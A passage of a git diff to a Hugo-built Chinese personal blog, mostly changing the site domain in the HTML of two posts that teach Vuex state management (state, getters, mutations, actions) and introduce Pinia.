mapMutations } from 'vuex'\rexport default {\rmounted() {\rthis.setMain({ count: 666 });\r},\rmethods: {\r// 通过mapMutations解构到methods里面，其别名也是一样的操作\r...mapMutations(['setMain'])\r},\r}\rActions（异步操作，也支持mapActions解构起别名）\nconst store = new Vuex.Store({\rstate: {\rcount: 0\r},\rmutations: {\rsetMain(state, intData) { state.count = intData.count\r// 通过传参的方式修改\r}\r},\ractions: {\rintData (context, mainData) {\rreturn new Promise(resolve =\u003e {\rsetTimeout(() =\u003e {\rcontext.commit('setMain', {count: mainData:count})\rresolve()\r},3000)\r})\r}\r}\r})\rApp.vue\nasync mounted() {\rconsole.log(this.$store.state.count)\rawait this.$store.dispatch('intData',{count: 123})\rconsole.log(this.$store.state.count)\r}\r推荐使用pinia来代替vuex，pinia对ts的支持程度更好，更轻量 https://github.com/vuejs/pinia\n","wordCount":"218","inLanguage":"en","datePublished":"2021-12-13T06:19:00Z","dateModified":"2021-12-13T06:19:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/123/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用vuex状态管理库</h1><div class=post-meta><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8vuex%e7%8a%b6%e6%80%81%e7%ae%a1%e7%90%86%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理</p><p>集中式存储管理应用的所有组件的状态</p><p>多组件状态共享，不同的组件改变同一个状态</p><p>vuex知识点：state，getter，mutation，action</p><p>安装vuex</p><p>npm install vuex &ndash;save</p><p>或者</p><p>yarn add vuex</p><p>导入vuex包</p><p>import Vuex from &ldquo;vuex&rdquo;</p><p>创建vuex实例</p><p>new Vuex.store()</p><p>将vuex实例挂载在vue对象上</p><p>index.js</p><pre><code>Vue.use(Vuex)
-const store = new Vuex.Store({
-    state: {
-        count: 0
-    }
-})
-export default store
-</code></pre><p>main.js</p><pre><code>new Vue({
-    store // 将store对象添加到vue实例上
-})
+getters: { getCount(state) { return state."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用vuex状态管理库","item":"https://chenjunlinabc.github.io/posts/123/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用vuex状态管理库","name":"简单使用vuex状态管理库","description":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex \u0026ndash;save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from \u0026ldquo;vuex\u0026rdquo;\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js\nnew Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from \u0026lsquo;vuex\u0026rsquo; export default { mounted() { console.log(this.count) }, computed: { \u0026hellip;mapState([\u0026lsquo;count\u0026rsquo;]) } }\nGetter\ngetters: { getCount(state) { return state.","keywords":["vuejs","vuex"],"articleBody":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex –save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from “vuex”\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js\nnew Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }\nGetter\ngetters: { getCount(state) { return state.count + 1 } } ... export default { mounted() { console.log(this.$store.state.count) console.log(this.$store.getters.getCount) } } mapGetters函数解构到计算属性（将store中的getter映射到局部计算属性）\ncomputed: { ...mapGetters(['getCount']) } 或者起别名(起别名是导入对象{})\ncomputed: { ...mapGetters({mainData: 'getCount'}) // this.mainData为this.$store.getters.getCount } Mutation\n在vuex中不能直接修改store的值，而是通过Mutation方法来修改，例如：\nmutations: { // setData(state) { // state.count = 3 // } setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } } App.vue\nexport default { mounted() { console.log(this.$store.state.count) this.$store.commit('setMain',{count: 123}) console.log(this.$store.state.count) }, } 注意：Mutation方法内部的函数必须是同步的，是不能处理异步的\n在组件中也是可以使用Mutation解构的（Mutation）\n导入并且解构\nimport { mapMutations } from 'vuex' export default { mounted() { this.setMain({ count: 666 }); }, methods: { // 通过mapMutations解构到methods里面，其别名也是一样的操作 ...mapMutations(['setMain']) }, } Actions（异步操作，也支持mapActions解构起别名）\nconst store = new Vuex.Store({ state: { count: 0 }, mutations: { setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } }, actions: { intData (context, mainData) { return new Promise(resolve =\u003e { setTimeout(() =\u003e { context.commit('setMain', {count: mainData:count}) resolve() },3000) }) } } }) App.vue\nasync mounted() { console.log(this.$store.state.count) await this.$store.dispatch('intData',{count: 123}) console.log(this.$store.state.count) } 推荐使用pinia来代替vuex，pinia对ts的支持程度更好，更轻量 https://github.com/vuejs/pinia\n","wordCount":"218","inLanguage":"en","datePublished":"2021-12-13T06:19:00Z","dateModified":"2021-12-13T06:19:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/123/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用vuex状态管理库</h1><div class=post-meta><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8vuex%e7%8a%b6%e6%80%81%e7%ae%a1%e7%90%86%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理</p><p>集中式存储管理应用的所有组件的状态</p><p>多组件状态共享，不同的组件改变同一个状态</p><p>vuex知识点：state，getter，mutation，action</p><p>安装vuex</p><p>npm install vuex &ndash;save</p><p>或者</p><p>yarn add vuex</p><p>导入vuex包</p><p>import Vuex from &ldquo;vuex&rdquo;</p><p>创建vuex实例</p><p>new Vuex.store()</p><p>将vuex实例挂载在vue对象上</p><p>index.js</p><pre><code>Vue.use(Vuex)
+const store = new Vuex.Store({
+    state: {
+        count: 0
+    }
+})
+export default store
+</code></pre><p>main.js</p><pre><code>new Vue({
+    store // 将store对象添加到vue实例上
+})
 </code></pre><p>可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）</p><p>使用解构获取状态：
 import { mapState } from &lsquo;vuex&rsquo;
 export default {
@@ -72,82 +72,82 @@
 computed: {
 &mldr;mapState([&lsquo;count&rsquo;])
 }
-}</p><hr><p>Getter</p><pre><code>getters: {
-    getCount(state) {
-        return state.count + 1
-    }
-}
-
-...
-
-export default {
-    mounted() {
-        console.log(this.$store.state.count)
-        console.log(this.$store.getters.getCount)
-    }
-}
-</code></pre><p>mapGetters函数解构到计算属性（将store中的getter映射到局部计算属性）</p><pre><code>computed: {
-    ...mapGetters(['getCount'])
-}
-</code></pre><p>或者起别名(起别名是导入对象{})</p><pre><code>computed: {
-    ...mapGetters({mainData: 'getCount'})
-    // this.mainData为this.$store.getters.getCount
-}
-</code></pre><hr><p>Mutation</p><p>在vuex中不能直接修改store的值，而是通过Mutation方法来修改，例如：</p><pre><code>mutations: { 
-    // setData(state) {  
-        // state.count = 3
-    // }
-    setMain(state, intData) {  
-        state.count = intData.count
-        // 通过传参的方式修改
-    }
-}
-</code></pre><p>App.vue</p><pre><code>export default {
-    mounted() {
-        console.log(this.$store.state.count)
-        this.$store.commit('setMain',{count: 123})
-        console.log(this.$store.state.count)
-    },
-}
-</code></pre><p>注意：Mutation方法内部的函数必须是同步的，是不能处理异步的</p><p>在组件中也是可以使用Mutation解构的（Mutation）</p><p>导入并且解构</p><pre><code>import { mapMutations } from 'vuex'
-export default {
-    mounted() {
-        this.setMain({ count: 666 });
-    },
-    methods: {
-        // 通过mapMutations解构到methods里面，其别名也是一样的操作
-        ...mapMutations(['setMain'])
-    },
-}
-</code></pre><hr><p>Actions（异步操作，也支持mapActions解构起别名）</p><pre><code>const store = new Vuex.Store({
-    state: {
-        count: 0
-    },
-    mutations: {
-        setMain(state, intData) {  
-            state.count = intData.count
-            // 通过传参的方式修改
-        }
-    },
-    actions: {
-        intData (context, mainData) {
-            return new Promise(resolve =&gt; {
-                setTimeout(() =&gt; {
-                    context.commit('setMain', {count: mainData:count})
-                    resolve()
-                },3000)
-            })
-        }
-    }
-})
-</code></pre><p>App.vue</p><pre><code>async mounted() {
-    console.log(this.$store.state.count)
-    await this.$store.dispatch('intData',{count: 123})
-    console.log(this.$store.state.count)
-}
+}</p><hr><p>Getter</p><pre><code>getters: {
+    getCount(state) {
+        return state.count + 1
+    }
+}
+
+...
+
+export default {
+    mounted() {
+        console.log(this.$store.state.count)
+        console.log(this.$store.getters.getCount)
+    }
+}
+</code></pre><p>mapGetters函数解构到计算属性（将store中的getter映射到局部计算属性）</p><pre><code>computed: {
+    ...mapGetters(['getCount'])
+}
+</code></pre><p>或者起别名(起别名是导入对象{})</p><pre><code>computed: {
+    ...mapGetters({mainData: 'getCount'})
+    // this.mainData为this.$store.getters.getCount
+}
+</code></pre><hr><p>Mutation</p><p>在vuex中不能直接修改store的值，而是通过Mutation方法来修改，例如：</p><pre><code>mutations: { 
+    // setData(state) {  
+        // state.count = 3
+    // }
+    setMain(state, intData) {  
+        state.count = intData.count
+        // 通过传参的方式修改
+    }
+}
+</code></pre><p>App.vue</p><pre><code>export default {
+    mounted() {
+        console.log(this.$store.state.count)
+        this.$store.commit('setMain',{count: 123})
+        console.log(this.$store.state.count)
+    },
+}
+</code></pre><p>注意：Mutation方法内部的函数必须是同步的，是不能处理异步的</p><p>在组件中也是可以使用Mutation解构的（Mutation）</p><p>导入并且解构</p><pre><code>import { mapMutations } from 'vuex'
+export default {
+    mounted() {
+        this.setMain({ count: 666 });
+    },
+    methods: {
+        // 通过mapMutations解构到methods里面，其别名也是一样的操作
+        ...mapMutations(['setMain'])
+    },
+}
+</code></pre><hr><p>Actions（异步操作，也支持mapActions解构起别名）</p><pre><code>const store = new Vuex.Store({
+    state: {
+        count: 0
+    },
+    mutations: {
+        setMain(state, intData) {  
+            state.count = intData.count
+            // 通过传参的方式修改
+        }
+    },
+    actions: {
+        intData (context, mainData) {
+            return new Promise(resolve =&gt; {
+                setTimeout(() =&gt; {
+                    context.commit('setMain', {count: mainData:count})
+                    resolve()
+                },3000)
+            })
+        }
+    }
+})
+</code></pre><p>App.vue</p><pre><code>async mounted() {
+    console.log(this.$store.state.count)
+    await this.$store.dispatch('intData',{count: 123})
+    console.log(this.$store.state.count)
+}
 </code></pre><hr><p>推荐使用pinia来代替vuex，pinia对ts的支持程度更好，更轻量
-<a href=https://github.com/vuejs/pinia>https://github.com/vuejs/pinia</a></p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li><li><a href=https://xiaochenabc123.github.io/tags/vuex/>vuex</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/124/><span class=title>« Prev</span><br><span>Pinia---vuejs的轻量级状态管理库</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/122/><span class=title>Next »</span><br><span>简单了解RSS</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<a href=https://github.com/vuejs/pinia>https://github.com/vuejs/pinia</a></p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li><li><a href=https://chenjunlinabc.github.io/tags/vuex/>vuex</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/124/><span class=title>« Prev</span><br><span>Pinia---vuejs的轻量级状态管理库</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/122/><span class=title>Next »</span><br><span>简单了解RSS</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/124/index.html b/posts/124/index.html
index 7183d2c1..4ab3176d 100644
--- a/posts/124/index.html
+++ b/posts/124/index.html
@@ -6,9 +6,9 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
import App from './App.vue'
const app = createApp(App)
import { createPinia } from 'pinia'
app.use(createPinia())
app.mount('#app')
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
export const useDataStore = defineStore('data', {
state: () => {
return { count: 666 }
},
//state: () => {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/124/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Pinia---vuejs的轻量级状态管理库"><meta property="og:description" content="Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/124/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Pinia---vuejs的轻量级状态管理库"><meta property="og:description" content="Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -16,8 +16,8 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
import App from './App.vue'
const app = createApp(App)
import { createPinia } from 'pinia'
app.use(createPinia())
app.mount('#app')
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
export const useDataStore = defineStore('data', {
state: () => {
return { count: 666 }
},
//state: () => {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/124/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-26T20:22:00+00:00"><meta property="article:modified_time" content="2021-12-26T20:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Pinia---vuejs的轻量级状态管理库"><meta name=twitter:description content="Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/124/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-26T20:22:00+00:00"><meta property="article:modified_time" content="2021-12-26T20:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Pinia---vuejs的轻量级状态管理库"><meta name=twitter:description content="Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -25,86 +25,86 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
import App from './App.vue'
const app = createApp(App)
import { createPinia } from 'pinia'
app.use(createPinia())
app.mount('#app')
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
export const useDataStore = defineStore('data', {
state: () => {
return { count: 666 }
},
//state: () => {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
